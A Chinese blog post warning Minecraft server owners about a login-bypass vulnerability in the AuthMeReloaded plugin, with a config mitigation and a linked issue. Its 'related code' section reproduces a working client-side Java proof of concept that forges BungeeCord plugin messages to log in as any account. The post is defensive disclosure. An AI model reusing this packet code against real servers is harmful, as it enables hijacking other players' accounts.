侧边栏壁纸
  • 累计撰写 50 篇文章
  • 累计创建 41 个标签
  • 累计收到 0 条评论

目 录CONTENT

文章目录

【紧急】7月3日披露Authme存在绕登录漏洞(包括最新版)

冬天冬天W
2022-07-03 / 0 评论 / 0 点赞 / 25 阅读 / 2000 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2023-10-10,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

前言

五小时前,墨守大佬在AuthmeReload项目仓库提交了一份关于绕过Authme登录的Issure。在墨守上传的视频当中可以清楚看到,通过某些作弊客户端可以轻松在BC(BungeeCord)绕过登录从而登录任何账号。(视频链接
Issure地址:https://github.com/AuthMe/AuthMeReloaded/issues/2571

原理

客户端伪装BC端发送假数据包,欺骗Authme插件完成登陆
Authme绕过登录图
上方图片来源于落花雨大佬进行的BUG复现。

修复

推荐使用最新版插件并且在你的服务端Authme的config.yml中设置Hooks.bungeecord: false即可避免此BUG。
相关配置文件:

Hooks:
# Do we need to hook with BungeeCord?
bungeecord: false

当然,玩家在切换每一个子服的时候都需要使用命令/login进行重新登录。但是请相信,这个BUG将会很快修复....
(当然,你也可以使用屏蔽掉Authme所有的数据包临时进行修复。)

相关代码

以下内容来自落花雨大佬,如果你是普通服主,上面的内容就足够对漏洞进行修复了。下面是开发者看的东西(/ω\)

    public void onUse() {
    try {
        PacketBuffer buffer1 = new PacketBuffer(Unpooled.buffer());
        buffer1.writeString("BungeeCord");
        Minecraft.getMinecraft().player.connection.sendPacket(new CPacketCustomPayload("REGISTER", buffer1));
<pre><code>    ByteArrayOutputStream buffer2 = new ByteArrayOutputStream();
    DataOutputStream out = new DataOutputStream(buffer2);
    out.writeUTF("AuthMe.v2");
    out.writeUTF("perform.login");
    out.writeUTF(Minecraft.getMinecraft().player.getName());

    PacketBuffer buffer3 = new PacketBuffer(Unpooled.buffer());
    buffer3.writeBytes(buffer2.toByteArray());
    Minecraft.getMinecraft().player.connection.sendPacket(new CPacketCustomPayload("BungeeCord", buffer3));
} catch (Exception e) {
    if (ModuleDebug.enable) e.printStackTrace();
}

}

解决方案:

  1. 检查org.spigotmc.SpigotConfig.bungee是否启用
  2. 如果通过插件消息登录,请重新验证玩家密码

后记

本文原创,未经本人许可不可以任何形式进行转载。
我将会对本漏洞进行持续跟踪。
本文最后编辑于2022.7.3 16:30

0
  1. 支付宝打赏

    qrcode alipay
  2. 微信打赏

    qrcode weixin

评论区